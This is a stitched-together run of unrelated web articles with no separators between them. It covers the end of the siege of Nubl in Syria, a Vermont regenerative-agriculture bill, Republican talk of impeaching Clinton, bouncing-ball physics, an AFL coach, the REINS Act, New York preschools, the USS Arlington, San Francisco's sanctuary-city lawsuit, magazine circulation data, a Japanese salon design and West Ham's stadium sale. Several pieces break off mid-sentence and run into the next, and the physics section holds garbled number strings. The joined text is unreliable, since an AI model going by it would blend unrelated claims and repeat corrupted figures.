Until two weeks ago Nubl and its neighbor al-Zahra were under siege; various rebel factions, including the al-Nusra Front and others linked to the Free Syrian Army, controlled the countryside nearby for more than three years.
Then the Syrian army -- backed by pro-Iranian militias and supported by controversial Russian air strikes -- broke through.
In Nubl, al-Assad-supporting local residents are still jubilant; "God, Syria, Bashar, and nothing else," a group of them chanted as we approached.
Nuble in Northern Aleppo #Syria after government forces moved in. #cnn A photo posted by Fred Pleitgen (@fpleitgencnn) on Feb 11, 2016 at 10:16pm PST
Many houses are decorated with posters of Hezbollah leader Hassan Nasrallah and Iran's Supreme Leader Ayatollah Ali Khamenei.
Outside the town hall, 14-year-old Zolfiqar Ali Jawish is selling cigarettes and candy. He says life under siege was a struggle.
"It was tough," he tells us. "Many people got sick and the kids were very scared. But after a while we became numb to the fear.
"Sometimes it took very long to get aid in here," he added. "It was awful because there was shelling all the time as well."
Humanitarian relief
But those here say the army had to send aid in via airdrops, and earlier this week, the Syrian Red Crescent says it delivered humanitarian relief to the town and to Al Zahra.
Now, a few weeks on from the end of the siege, stores in Nubl are well stocked.
In the town's market, we saw several stalls offering an array of fruit and vegetables for sale; a barrow full of bright green apples was lined up next to trays loaded with tomatoes and potatoes.
After more than 3 years of siege the market stands are full again in Nuble. Northern Aleppo #Syria #cnn A photo posted by Fred Pleitgen (@fpleitgencnn) on Feb 11, 2016 at 10:12pm PST
The lifting of the sieges of al-Zahra and Nubl were key victories for the Syrian military not just because they boosted morale among pro Assad forces, but also because this area north of Aleppo is a decisive battleground in Syria's brutal five year long civil war.
The towns and villages here lie between the rebel-held parts of Aleppo and the border with Turkey; fully controlling this area would allow the Syrian army to choke off almost all supplies to rebels inside Aleppo, potentially dealing a crushing blow to the already weakened opposition.
One soldier who fought to end the siege of Nubl offered a stern warning to rebel fighters:
"Their families should encourage them to look for reconciliation or, I say, they will be killed," he tells us. "They have no other option."
'Cessation of hostilities'
But the opposition does not believe that reconciliation is truly on the government's mind; rebel factions say they are simply being slaughtered by Russian air power and a newly invigorated Syrian army.
The U.N. and other aid groups fear a protracted siege of rebel-held areas in Aleppo would lead to a humanitarian disaster for the many civilians also trapped there.
Major world powers meeting in Munich, Germany, on Friday agreed on a plan to end the use of starvation and denial of medical aid as a weapon in this conflict. The U.N. has strongly criticized the Syrian government, various rebel factions, and ISIS for not allowing aid deliveries to surrounded areas.
They also agreed to what U.S. Secretary of State John Kerry called a "cessation of hostilities" in Syria.
The progress we made today in #Munich can and must improve the lives of the Syrian people. — John Kerry (@JohnKerry) February 12, 2016
Russia, however, says it plans to continue its airstrikes in Aleppo, as well as attacks against what it believes are terrorist targets across Syria.
The Syrian soldiers we spoke to said they were confident that, backed by Russian air power, their forces could make it all the way to the Turkish border -- dealing what could be a decisive blow to the opposition.BY Kiss the Ground and Regeneration International
Kiss the Ground and Regeneration International announced today support for Vermont's Senate Bill 159, a bill that would introduce a state-level certification program under which farmers could have their land and farming methods certified by the state as regenerative.
The bill, introduced by Sen. Brian Campion (of Bennington, Bennington County), was first written by Jesse McDougall, a farmer in Shaftsbury, Vermont. McDougall employs regenerative farming practices, including planned rotational grazing, which eliminate the need for chemical fertilizers and tilling and regenerate the soil's capacity to retain water and sequester carbon.
Jesse McDougall's farm, Studio Hill, in Shaftsbury, Vermont.
McDougall had considered pursuing a formal organic certification for his meat products and farm, Studio Hill, but decided he wanted to do more than tell customers what's not in the food—the absence of chemicals and synthetic fertilizers. McDougall sought instead a certification that would tell consumers what is in their food, how the food was raised and how the land was improved by its production.
"The certification is intended to help legitimize this style of farming as an economically viable option for farmers," McDougall said. "It is our hope that this certification program not only creates a high-value market for regeneratively-grown food, but also rewards regenerative farmers for their work with better marketing opportunities and bigger margins."
"As a small, farmer-friendly state and agriculture pioneer, Vermont is perfectly positioned to lead the country with this type of legislation," Finian Makepeace, co-founder and policy director at Kiss The Ground, said. "We expect and hope to see many more states adopt similar legislation as part of the regenerative movement that is spreading across the United States and globally."
Also known as “carbon farming," regenerative agriculture practices put the emphasis on soil health using nature's systems to regenerate the land. According to Andre Leu, president of IFOAM—Organics International, "Rebuilding soil by sequestering carbon reduces CO2 from the atmosphere and creates land that is more drought resistant and grows healthier, food, plants and animals."
“The trends are clear. Consumers increasingly want to know more about their food. What's in it, how it was grown, whether it was locally produced or shipped a long distance and how humanely animals were treated," Ronnie Cummins, member of the Regeneration International Steering Committee and international director of the Organic Consumers Association, said. “And as public concern around global warming escalates, consumers are looking for food produced using practices that contribute to a climate solution, rather than to the problem."
This is the first piece of legislation specific to regenerative agriculture in the U.S. and one that serves both farmers and consumers. The certification is intended to result in a State of Vermont seal, visible to consumers at the grocery store and available to certified farmers to share, educate and promote their work.
The certification includes three standard, binary tests: if topsoil has increased; if carbon has been sequestered; or if soil organic matter has increased. A farm would need to meet only one of these criteria, over a three-year period and with each successive year, to be certified as regenerative.
Healthy soil via regenerative agriculture is gaining traction worldwide with 4/1000 Initiative: Soils for Food Security and Climate, a visionary initiative introduced at last December's COP21 and signed by 25 countries, to increase the organic carbon level of each country's agricultural soils by 0.4 percent each year.
“Regenerative farming can rebuild the soil, sequester carbon, produce nutrient-dense food and eliminate the need for toxic chemicals," McDougall said. “If we want the next generation of farmers to do this work, it is our responsibility to provide them with the tools that make it possible. We wrote this bill to begin building those tools."
The Vermont Senate Committee on agriculture will review SB 159 in the coming weeks and determine whether it will be included in the next legislative session and continue on to the Senate floor.
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Perhaps it's no surprise in an election in which the GOP nominee, Donald Trump, has branded his opponent "Crooked Hillary," and shouts of "lock her up!" are a staple at his rallies. Few Republicans appear eager to suggest a new era of bipartisan deal-making with a candidate widely seen by GOP voters as untrustworthy.
But the rhetoric is striking because newly elected presidents traditionally enjoy a honeymoon period with Congress and the public.
For Clinton, the honeymoon appears to be over even before it's clear she will be elected.
"I would say yes, high crime or misdemeanor," GOP Sen. Ron Johnson of Wisconsin said this week in an interview with the Beloit Daily News, arguing that with her handling of emails Clinton had crossed the constitutionally established threshold for impeachment proceedings.
"This was willful concealment and destruction," said Johnson, who is in a tight race for re-election as control of the Senate hangs in the balance.
Johnson's comments follow recent remarks by GOP Sens. Ted Cruz of Texas, Richard Burr of North Carolina and John McCain of Arizona suggesting that they will oppose any and all Supreme Court nominations Clinton might make.
McCain walked his comment back, saying any nominee would be considered. But Burr told GOP volunteers, in private remarks leaked to CNN, that he would aim to keep the existing vacancy on the Supreme Court open throughout Clinton's term.
Burr and McCain, like Johnson, are locked in competitive re-election races, and for Burr in particular an energized GOP base may be key to his victory.
Sen. Ron Johnson Alex Wong/Getty Images
In the House, Republicans already spent more than two years and $7 million investigating Clinton's role while secretary of state in the attack on the U.S. facility in Benghazi, Libya, in 2012.
Yet GOP lawmakers, who are likely to retain their majority in the House, show no sign that their investigative zeal is dampening. That's especially true in light of the FBI's announcement Friday that it is looking at a new batch of emails in connection with its closed investigation of Clinton's handling of classified material.
And many Republicans continue to question the FBI's initial conclusion earlier this year that Clinton should not face prosecution over the email issue.
"The more we learn about the FBI's initial investigation into Secretary Clinton's unauthorized use of a private email server, the more questions we have," House Judiciary Committee Chairman Bob Goodlatte, R-Va., said in a statement. "I will continue to press the FBI and Justice Department for answers on these issues but so far they have been stonewalling Congress."
GOP Rep. Jim Jordan of Ohio, a leading conservative in the House, said in a statement that regardless of who wins the election, "we need to continue investigating Secretary Clinton's email scandal, and alleged impropriety between the State Department and Clinton Foundation. We must also move forward with impeaching IRS Commissioner John Koskinen."
Democrats have long accused some Republicans of trying to delegitimize President Barack Obama, including when Trump and others questioned for years whether the president was really born in this country. Now the GOP's pre-emptive attacks on Clinton are raising Democratic hackles once again, although it could backfire politically for Republicans. The GOP-led House's impeachment proceeding against Bill Clinton in 1998 was unpopular with voters.
Obama himself came to Clinton's defense in an interview broadcast Wednesday with online news outlet NowThis.
"Hillary Clinton, having been in the arena for 30 years, oftentimes gets knocked around, and people say crazy stuff about her, and when she makes a mistake — an honest mistake — it ends up being blown up as if it's just some crazy thing," Obama said.
Mitch McConnell. Alex Wong/Getty Images
The GOP's top congressional leaders, Sen. Mitch McConnell of Kentucky and House Speaker Paul Ryan of Wisconsin, have notably passed up opportunities to dispute some of the more extreme comments from their rank-and-file.
McConnell's spokesman, Don Stewart, declined to say Wednesday whether McConnell agreed with Johnson's suggestion that Clinton should face impeachment proceedings. Ryan is to campaign with Johnson in Wisconsin on Friday, but aides to the speaker did not respond when asked whether Ryan agreed with Johnson that Clinton committed high crimes and misdemeanors.
Appearing Wednesday on the Hugh Hewitt radio show, Ryan passed over a comment Hewitt made suggesting impeachment might be in the offing for Clinton, but said: "This is what life is like with the Clintons. There's always a scandal. And then there's always an investigation.... Do we really want to, knowing this, have a person come into the White House automatically under suspicion, under investigation?"The physics of a bouncing ball concerns the physical behaviour of bouncing balls, particularly its motion before, during, and after impact against the surface of another body. Several aspects of a bouncing ball's behaviour serve as an introduction to mechanics in high school or undergraduate level physics courses. However, the exact modelling of the behaviour is complex and of interest in sports engineering.
The motion of a ball is generally described by projectile motion (which can be affected by gravity, drag, the Magnus effect, and buoyancy), while its impact is usually characterized through the coefficient of restitution (which can be affected by the nature of the ball, the nature of the impacting surface, the impact velocity, rotation, and local conditions such as temperature and pressure). To ensure fair play, many sports governing bodies set limits on the bounciness of their ball and forbid tampering with the ball's aerodynamic properties. The bounciness of balls has been a feature of sports as ancient as the Mesoamerican ballgame.[1]
Forces during flight and effect on motion [ edit ]
Note: In this article, In this article, vectors are indicated in bold, while magnitudes and scalar quantities are indicated in italics.
The motion of a bouncing ball obeys projectile motion.[2][3] Many forces act on a real ball, namely the gravitational force (F G ), the drag force due to air resistance (F D ), the Magnus force due to the ball's spin (F M ), and the buoyant force (F B ). In general, one has to use Newton's second law taking all forces into account to analyze the ball's motion:
∑ F = m a, F G + F D + F M + F B = m a = m d v d t = m d 2 r d t 2, {\displaystyle {\begin{aligned}\sum \mathbf {F} &=m\mathbf {a},\\\mathbf {F} _{\text{G}}+\mathbf {F} _{\text{D}}+\mathbf {F} _{\text{M}}+\mathbf {F} _{\text{B}}&=m\mathbf {a} =m{\frac {d\mathbf {v} }{dt}}=m{\frac {d^{2}\mathbf {r} }{dt^{2}}},\end{aligned}}}
where m is the ball's mass. Here, a, v, r represent the ball's acceleration, velocity, and position over time t.
Gravity [ edit ]
drag Stokes drag Newton drag Trajectory of a ball bouncing at an angle of 70° after impact without, with, and with
The gravitational force is directed downwards and is equal to[4]
F G = m g, {\displaystyle F_{\text{G}}=mg,}
where m is the mass of the ball, and g is the gravitational acceleration, which on Earth varies between 7000976399999999999♠9.764 m/s2 and 7000983400000000000♠9.834 m/s2.[5] Because the other forces are usually small, the motion is often idealized as being only under the influence of gravity. If only the force of gravity acts on the ball, the mechanical energy will be conserved during its flight. In this idealized case, the equations of motion are given by
a = − g j ^, v = v 0 + a t, r = r 0 + v 0 t + 1 2 a t 2, {\displaystyle {\begin{aligned}\mathbf {a} &=-g\mathbf {\hat {j}},\\\mathbf {v} &=\mathbf {v} _{\text{0}}+\mathbf {a} t,\\\mathbf {r} &=\mathbf {r} _{0}+\mathbf {v} _{0}t+{\frac {1}{2}}\mathbf {a} t^{2},\end{aligned}}}
where a, v, and r denote the acceleration, velocity, and position of the ball, and v 0 and r 0 are the initial velocity and position of the ball, respectively.
More specifically, if the ball is bounced at an angle θ with the ground, the motion in the x- and y-axes (representing horizontal and vertical motion, respectively) is described by[6]
x-axis a x = 0, v x = v 0 cos ( θ ), x = x 0 + v 0 cos ( θ ) t, {\displaystyle {\begin{aligned}a_{\text{x}}&=0,\\v_{\text{x}}&=v_{0}\cos \left(\theta \right),\\x&=x_{0}+v_{0}\cos \left(\theta \right)t,\end{aligned}}} y-axis a y = − g, v y = v 0 sin ( θ ) − g t, y = y 0 + v 0 sin ( θ ) t − 1 2 g t 2. {\displaystyle {\begin{aligned}a_{\text{y}}&=-g,\\v_{\text{y}}&=v_{0}\sin \left(\theta \right)-gt,\\y&=y_{0}+v_{0}\sin \left(\theta \right)t-{\frac {1}{2}}gt^{2}.\end{aligned}}}
The equations imply that the maximum height (H) and range (R) and time of flight (T) of a ball bouncing on a flat surface are given by[2][6]
H = v 0 2 2 g sin 2 ( θ ), R = v 0 2 g sin ( 2 θ ), and T = 2 v 0 g sin ( θ ). {\displaystyle {\begin{aligned}H&={\frac {v_{0}^{2}}{2g}}\sin ^{2}\left(\theta \right),\\R&={\frac {v_{0}^{2}}{g}}\sin \left(2\theta \right),~{\text{and}}\\T&={\frac {2v_{0}}{g}}\sin \left(\theta \right).\end{aligned}}}
Further refinements to the motion of the ball can be made by taking into account air resistance (and related effects such as drag and wind), the Magnus effect, and buoyancy. Because lighter balls accelerate more readily, their motion tends to be affected more by such forces.
Drag [ edit ]
Air flow around the ball can be either laminar or turbulent depending on the Reynolds number (Re), defined as:
Re = ρ D v μ, {\displaystyle {\text{Re}}={\frac {\rho Dv}{\mu }},}
where ρ is the density of air, μ the dynamic viscosity of air, D the diameter of the ball, and v the velocity of the ball through air. At a temperature of 7002293150000000000♠20 °C, ρ = 7000120000000000000♠1.2 kg/m3 and μ = 6995180000000000000♠1.8×10−5 Pa·s.[7]
If the Reynolds number is very low (Re < 1), the drag force on the ball is described by Stokes' law:[8]
F D = 6 π μ r v, {\displaystyle F_{\text{D}}=6\pi \mu rv,}
where r is the radius of the ball. This force acts in opposition to the ball's direction (in the direction of − v ^ {\displaystyle \textstyle -{\hat {\mathbf {v} }}} ). For most sports balls, however, the Reynolds number will be between 104 and 105 and Stokes' law does not apply.[9] At these higher values of the Reynolds number, the drag force on the ball is instead described by the drag equation:[10]
F D = 1 2 ρ C d A v 2, {\displaystyle F_{\text{D}}={\frac {1}{2}}\rho C_{\text{d}}Av^{2},}
where C d is the drag coefficient, and A the cross-sectional area of the ball.
Drag will cause the ball to lose mechanical energy during its flight, and will reduce the range and the height of a ball, while crosswinds will deflect it from its original path. Both effects have to be taken into account by players in sports such as golf.
Magnus effect [ edit ]
The Magnus force acting on a ball with backspin. The curly flow lines represent a turbulent wake. The airflow has been deflected in the direction of spin.
The spin of the ball will affect its trajectory through the Magnus effect. According to the Kutta–Joukowski theorem for a spinning sphere with an inviscid flow of air, the Magnus force is equal to[11]
F M = 8 3 π r 3 ρ ω v, {\displaystyle F_{\text{M}}={\frac {8}{3}}\pi r^{3}\rho \omega v,}
where r is the radius of the ball, ω the angular velocity (or spin rate) of the ball, ρ the density of air, and v the velocity of the ball relative to air. This force is directed perpendicular to the motion and perpendicular to the axis of rotation (in the direction of ω ^ × v ^ {\displaystyle \textstyle {\hat {\mathbf {\omega } }}\times {\hat {\mathbf {v} }}} ). The force is directed upwards for backspin and downwards for topspin. In reality, flow is never inviscid, and the Magnus lift is better described by[12]
F M = 1 2 ρ C L A v 2, {\displaystyle F_{\text{M}}={\frac {1}{2}}\rho C_{\text{L}}Av^{2},}
where ρ is the density of air, C L the lift coefficient, A the cross-sectional area of the ball, and v the velocity of the ball relative to air. The lift coefficient is a complex factor which depends amongst other things on the ratio rω/v, the Reynolds number, and surface roughness.[12] In certain conditions, the lift coefficient can even be negative, changing the direction of the Magnus force (reverse Magnus effect).[4][13]
In sports like tennis or volleyball, the player can use the Magnus effect to control the ball's trajectory (e.g. via topspin or backspin) during flight. In golf, the effect is responsible for slicing and hooking which are usually a detriment to the golfer, but also helps with increasing the range of a drive and other shots.[14][15] In baseball, pitchers use the effect to create curveballs and other special pitches.[16]
Ball tampering is often illegal, and is often at the centre of cricket controversies such as the one between England and Pakistan in August 2006.[17] In baseball, the term'spitball' refers to the illegal coating of the ball with spit or other substances to alter the aerodynamics of the ball.[18]
Buoyancy [ edit ]
Any object immersed in a fluid such as water or air will experience an upwards buoyancy.[19] According to Archimedes' principle, this buoyant force is equal to the weight of the fluid displaced by the object. In the case of a sphere, this force is equal to
F B = 4 3 π r 3 ρ g. {\displaystyle F_{\text{B}}={\frac {4}{3}}\pi r^{3}\rho g.}
The buoyant force is usually small compared to the drag and Magnus forces and can often be neglected. However, in the case of a basketball, the buoyant force can amount to about 1.5% of the ball's weight.[19] Since buoyancy is directed upwards, it will act to increase the range and height of the ball.
Impact [ edit ]
[20][21] The compression (A→B) and decompression (B→C) of a ball impacting against a surface. The force of impact is usually proportional to the compression distance, at least for small compressions, and can be modelled as a spring force
When a ball impacts a surface, the surface recoils and vibrates, as does the ball, creating both sound and heat, and the ball loses kinetic energy. Additionally, the impact can impart some rotation to the ball, transferring some of its translational kinetic energy into rotational kinetic energy. This energy loss is usually characterized (indirectly) through the coefficient of restitution (or COR, denoted e):[22][note 1]
e = − v f − u f v i − u i, {\displaystyle e=-{\frac {v_{\text{f}}-u_{\text{f}}}{v_{\text{i}}-u_{\text{i}}}},}
where v f and v i are the final and initial velocities of the ball, and u f and u i are the final and initial velocities impacting surface, respectively. In the specific case where a ball impacts on an immovable surface, the COR simplifies to
e = − v f v i. {\displaystyle e=-{\frac {v_{\text{f}}}{v_{\text{i}}}}.}
For a ball dropped against a floor, the COR will therefore vary between 0 (no bounce, total loss of energy) and 1 (perfectly bouncy, no energy loss |
his links to new football manager Neil Balme and coach Damien Hardwick.
Caracella worked under Balme at the Cats for five years and also played in Essendon’s 2000 premiership team alongside Hardwick.
media_camera Assistant coach Blake Caracella and Patrick Dangerfield. Picture: Peter Ristevski
An astute thinker of the game, Caracella was credited for helping mould Tom Hawkins into an All-Australian, best-and-fairest winning key forward, notably his work to straighten Hawkins’s goalkicking accuracy.
Caracella’s credentials were underlined last year when he was one of nine assistants accepted into the elite level-four coaching program run by the AFL.
The program is designed to prepare high-performing assistants for the rigours of taking on a potential senior coach position at an AFL club.
Originally published as Caracella quits Cats, linked to TigersLast, week, under the cover of a media bliss-out except among Koch funded right-wing channels, the House of Representatives passed a bill which would effectively repeal future standard setting under every important environmental, public health, consumer protection, labor standards, occupational safety and civil rights law on the books.
The bill, called the REINS Act, requires that any future major regulation adopted by an Executive Agency — say a new toxic chemical standard required by the recently enacted Chemical Safety Act, or a new consumer protection rule about some innovative but untested kind of food additive — must be approved by a specific resolution in each House of Congress within 70 days to take effect.
To give a sense of the scale of this road-block, in 2015 there were 43 such major federal regulations passed to protect the public; among them were food safety regulations, the Clean Power Plan regulating pollution from electrical generating facilities, net neutrality rules protecting the internet from monopoly, restrictions on predatory lending and energy efficiency standards for appliances.
If the REINS Act had been in effect, it’s unlikely that the Tea Party-dominated Republican caucus in the House would have approved of any of these rules. Future standard setting under the entire body of legislation enacted over the past 40 years to protect the public, from the Clean Air Act to the Dodd Frank financial sector reforms, would be frozen. Over time, as new health, safety, consumer and labor protection issues arise, all of these laws will effectively have been repealed, with no public debate and no accountability. It will also be impossible to restore them as long as the REINS Act is in effect, because by requiring Congress to approve every regulation, it makes it impossible to pass technically complex and scientifically valid rules on any topic of controversy.
As one example, the REINS Act would totally neuter the new Chemical Safety Act, just passed by the Republican Congress last year. The Act requires EPA to review and set standards for 10 widely abused chemicals in the next six months alone. The Act passed only because in exchange, states gave up much of their power to protect their citizens from toxic chemicals; without that incentive, the Tea Party will certainly act to prevent EPA from restricting the use of these chemicals. But the states only agreed to give up in exchange for the promise that EPA would act. But the REINS act neuters this promise. Even if the House Republican caucus was willing in theory to consider such rules, there is simply no way Congress could add 10-40 new pieces of legislation to its work load in the chemical safety area alone. In fact, the House also just passed legislation to allow it to REPEAL all of President Obama’s regulatory acts in the last eight months of his term in office with ONE vote. Why? Because House members said there was not time for individual votes on each rule — exactly the requirement they just established for new rules.
Worse, Congress totally lacks the technical competence to review these kinds of complex rules. Do we really want members of Congress deciding whether a chemical can safely be used in food packaging? Or the proper procedures for approving new drugs as safe and effective? Or setting the allowable safety standard for heavy metals in drinking water?
The vote was 237-187. All Republicans voted for it; only two Democrats, Colin Peterson of Minnesota and Henry Cuellar of Texas, joined them. A Google search five days after the bill passed the House revealed no mention in major media except one Reuters story with limited pick-up and a Washington Post op-ed by one of its major supporters. Even on-line virtually all of the commentary was from the backers of the REINS Act; the only significant alerts of the danger came from the Blue Green Alliance and DeSmogBlog.
Progressives may be counting on the fact that the Senate has previously refused to pass the bill, and that it’s broad over-reaching will doom it. But these are not ordinary times and past behavior is far from reliable in predicting today’s politics.
It’s time — past time — for a massive mobilization to make clear to Congress and the new President that a wholesale repeal of 40 years of progress in environmental protection, civil rights, labor standards, health and safety and consumer protection is a third rail, and that pretending that the REINS act increases accountability is a fig-leaf that public scrutiny must shred.
Ask your favorite public interest organization what it is doing today to stop the REINS Act in the Senate.The frenzy over getting children into elite New York preschools is well documented. Parents sweat, barter and bribe to get their 4-year-olds into prestigious early education programs. Toddlers take achievement tests and participate in observed playgroups to prove their potential.
Yes, these private schools offer remarkable resources. Their student-teacher ratios are excellent. Faculty members in many cases have advanced academic degrees. Most important, many of the early education programs are a direct pipeline into equally reputable elementary, middle and high schools.
Other things contribute to the prekindergarten mania. There are the less easily quantifiable social advantages: Hosting play dates for the children of the city’s most rich and powerful can provide access to the rarefied air breathed by New York’s elite.
Mostly, there’s the implicit belief that a premier prekindergarten program guarantees an early leg up in a nearly 14-year battle to gain admission to the country’s most competitive colleges.The USS Arlington, one of three Navy vessels to be named in honor of the victims and first responders on 9/11, recently arrived at its new home port of Naval Station Norfolk. It will be formally commissioned on April 6.
Several Arlington County officials were present for the ship's arrival last week.
"I got to spend the day with a number of first responders from Arlington and the region. The ship arrived with a beautiful large American flag billowing in the wind," Arlington County Board member Libby Garvey said in a recent email to campaign supporters.
"When it docked for the first time, all the shore vehicles sounded their sirens in greeting. I suddenly remembered all the sirens on 9/11 when they signaled a terrible emergency. But on Friday, over a decade later, they were sounded in celebration of the ship and the first responders who protect us every day. It was an emotional moment for me."
The USS Arlington is the eighth San Antonio class of landing platform docks, or LPDs. Such ships are about 684 feet long, carry a crew of 360 sailors and can support a surge force of up to 800 Marines.
The USS New York was commissioned in November 2009 and completed a nine-month deployment this past December, according to a U.S. Navy news release.
The USS Somerset, which honors the passengers of United Airlines Flight 93 — killed when the plane crashed in Somerset County, Pa., is under construction in New Orleans.
The USS Arlington's keel was laid in December 2008 in Pascagoula, Miss. Steel girders from the Pentagon are embedded in the keel, said Arlington County Treasurer Frank O'Leary, who is on the ship's commissioning committee.
Last year, USS Arlington sailors performed more than 4,800 hours of community service, according to the Navy.
More:
County Contributes $50K Toward USS Arlington 9/11 Tribute Room
Washington-Lee Junior Designs Winning Arlington County Car Decal
USS Arlington: Fundraising Under Way for Commissioning
Download the movieCity Attorney Dennis Herrera seeks nationwide preliminary injunction, saying Trump’s order is a ‘budgetary sword of Damocles’ threatening $2 billion in S.F. funding
SAN FRANCISCO (March 8, 2017) — City Attorney Dennis Herrera today asked a federal judge to halt enforcement nationwide of President Donald Trump’s executive order denying federal funding to “sanctuary jurisdictions,” saying the order not only violated the Constitution but also undermined bedrock democratic principles.
According to the motion for a preliminary injunction filed today in U.S. District Court in the Northern District of California, Trump’s executive order ignores the separation of powers in our country, grants the president authority he is not entitled to under the Constitution, and tramples on state sovereignty.
“With a stroke of his pen, President Trump is trying to seize the spending power that our Constitution entrusts to Congress,” Herrera said. “Then he’s using it as a weapon to illegally bully cities and counties across this country, potentially threatening funding for things like meals and medical care for seniors and low-income families. These entitlement programs are not the president’s to take away from those in need, and San Francisco is not one to back down from a bully.”
Herrera is seeking a preliminary injunction — a court order that maintains the status quo as a legal case plays out — that would prohibit Trump and his administration from denying federal funding to cities and counties across the country that they deem to be “sanctuary jurisdictions.” Today’s motion also seeks a court ruling stating that San Francisco’s sanctuary laws comply with federal law and preventing the Trump administration from declaring the city ineligible for federal funds.
The move comes after San Francisco on Jan. 31, 2017 became the first city in the country to sue President Trump over his unconstitutional sanctuary executive order. Santa Clara County and two Massachusetts cities, Lawrence and Chelsea, followed.
Of the $1.2 billion in federal funds that San Francisco receives for its annual operating budget, 92 percent goes to entitlement programs like Medicare, Medicaid, Temporary Assistance to Needy Families, and Supplemental Nutrition Assistance Programs, the city’s legal filing notes. San Francisco also receives an additional $800 million in multi-year grants, the vast majority of which fund capital projects like building bridges and public transportation that create jobs.
“A responsible city government is one that plans for all contingencies, both positive and negative,” said Mayor Edwin M. Lee. “In the weeks ahead, San Francisco needs to make critical budget decisions that will directly impact the health, safety and well-being of our residents. We deserve a timely resolution to this issue that will end this uncertainty, so that we can develop plans that will keep our residents safe and deliver the services they need.”
Federal funds have not been withheld yet, but most of San Francisco’s federal funds are provided on a reimbursement basis, meaning the city first spends its own money and then is repaid.
“The consequences of this presidential fiat are potentially catastrophic,” Herrera said. “This executive order is unconstitutional and should be invalidated by the courts, but in the meantime, the city is under a cloud of uncertainty and a budgetary sword of Damocles. This court action is designed to protect our residents and provide financial clarity.”
Fundamental budget decisions are looming. The mayor must make key budget decisions by May 15 and submit a balanced budget to the Board of Supervisors by June 1. In the months since the executive order was issued, San Francisco has moved closer to these deadlines with no clarification from the Trump administration on how or when the order will be applied. San Francisco needs clarity now.
Unless there is clarification from the administration or an order from the court, San Francisco will be forced to create a budget reserve to help compensate for a potential loss in federal funding.
Money placed in reserve will not be available for other purposes until the fiscal year is over, meaning it cannot be used for San Francisco to fund other budget priorities, such as reducing homelessness through family shelter expansions, youth housing subsidies and a resource center.
There is a reason more than 400 cities and counties across this country — including nearly every major city — have sanctuary policies. Sanctuary counties have less crime, fewer people in poverty and lower unemployment than other counties, according to a recent study by Tom K. Wong, an associate professor of political science at the University of California, San Diego, released by the Center for American Progress. Sanctuary policies encourage undocumented immigrants who are the victims or witnesses of crimes to report them so that cities can investigate and prosecute, getting violent criminals off the street.
These policies also encourage immigrants to send their children to school and go to public health clinics, which makes the entire community more prosperous and healthy. Some think that sanctuary city policies protect criminals, but that is incorrect. If the federal government has a criminal warrant, San Francisco honors that.
San Francisco’s laws are designed to increase public safety and be fully consistent with federal law. They leave immigration matters where they belong — in the hands of federal officials, not local law enforcement.
“We are a nation of immigrants,” Herrera said. “We also can’t ignore the fact that for decades our federal government turned a blind eye to many people entering our country without documentation, often to work jobs others didn’t want. These folks are hard-working and are fighting for the American dream. They’ve built families and lives here. These are our neighbors, our co-workers, our classmates. Trump’s broad effort to target, persecute, and divest immigrants and the cities that stand by them is un-American and cruel.”
The fiscal coercion Trump is attempting violates the Constitution in three different ways, according to Herrera’s filing today. It purports to assert legislative power that the Constitution vests exclusively in Congress, exercises that spending power in ways that even Congress may not, and commandeers local jurisdictions, violating the Tenth Amendment by requiring them to comply with Immigration and Customs Enforcement detainer requests. Compliance with those requests is voluntary and is not required under federal law. Complying with a detainer request keeps a person incarcerated after they’ve been legally cleared for release. Courts have ruled that detaining people after they would otherwise have been released is unconstitutional.
“Of course we must protect our country from the problems associated with unregulated immigration,” Florida Circuit Court Judge Milton Hirsch wrote in a recent ruling reversing Miami’s decision to comply with Trump’s executive order. “We must protect our country from a great many things; but from nothing so much as from the loss of our historic rights and liberties.”
The case is: City and County of San Francisco v. Donald J. Trump, et al., U.S. District Court for the Northern District of California Case No. 3:17-cv-00485, filed Jan. 31, 2017. Additional documentation from the case is available on the City Attorney’s website at: https://www.sfcityattorney.org.
# # #
RelatedThis scatter plot displays the annual circulation data for all magazines associated with the Alliance for Audited Media (AAM) in 2012, which is the most recent publically available data. The x-axis represents subscriptions, and the y-axis, single copy sales. The inset bar graph identifies the ten companies that spent the most money on advertisements in those magazines; ad data are from 2013.
Some magazine subscriptions (including both AARP publications) are included when you have a membership with an association. As such, those subscription numbers are likely much higher than if the publication were separately purchased.
Aside from the AARP magazines, Game Informer, Better Homes and Gardens, and Reader’s Digest are the top three for subscriptions. Cosmopolitan, Woman’s World, First for Women, and People are by far the most purchased off the newsstand.
Procter & Gamble and L’Oreal spend the most on advertising; together, they paid just over $1.9 billion. This is more than the sum from the next seven highest contributors. It would be interesting to see the advertising data broken down by magazine (e.g., how much does Pfizer advertise in AARP; does L’Oreal ever push makeup in Game Informer?), but those numbers are for AAM members only.
Data source: http://www.magazine.org/insights-resources/research-publications/trends-data/magazine-industry-facts-data+ 12
Architects SIDES CORE
Location Otorinakamachi, Nishi Ward, Sakai, Osaka Prefecture 593-8327, Japan
Category Services
Project Year 2015
Photographs Yoshiro Masuda
Construction Company THE
Designer Sohei Arao More Specs Less Specs
Text description provided by the architects. The owner, an avid mountain climber, told us that part of the appeal with climbing a mountain is that you never really know what will happen until you get there, and how soothing it is to experience something new every time out. He wanted the same kind of space built in a beauty salon, giving guests a new experience each time.
First, we looked together with him to find a small property in a quiet neighborhood, where guests would feel the most welcome. We went for a spacious, open feel using a high ceiling framework and a stripped down interior with one station. We carefully selected the chair, sound equipment, large mirror and other station details which will come in physical contact with guests to create an experience, along with a desk and freely changeable wall-mounted storage in perforated board for the owner.
The reflection of the wall surface, ever-changing with the seasons and the taste of the owner and his diverse interests, will become the face of the salon. The guests will certainly feel how the space he creates will change over time.Upton Park has gone under the hammer! West Ham sell ground as part of biggest London football stadium redevelopment
Boleyn Ground set to be turned into East End 'village' of 700 homes
Gaillard Group have won the bid to buy the stadium
West Ham will move to the Olympic Stadium in 2016
The Hammers have played at Upton Park since 1904
A tribute to Bobby Moore will form centrepiece of ground's legacy on the site
The 'village' is scheduled to be completed by 2018
West Ham have sold the Boleyn Ground, their home for 110 years, to developers Galliard, paving the way for their move to the Olympic Stadium in 2016.
Plans for the site, called ‘East End Village’, include 700 homes.
Fans and residents are expected to vote on naming apartment blocks after West Ham legends such as Bobby Moore, Trevor Brooking, Geoff Hurst and Billy Bonds.
VIDEO Scroll down to watch Kevin Nolan and Mark Noble visiting the Olympic stadium
All change: West Ham's famous Upton Park ground has been sold to be turned into 700 flats
Local lad: West Ham star Joe Cole poses for photographers at the Olympic Stadium last year as work continues to turn the arena into West Ham's new home
The site will also feature a claret-and-blue theme to reflect West Ham’s colours.
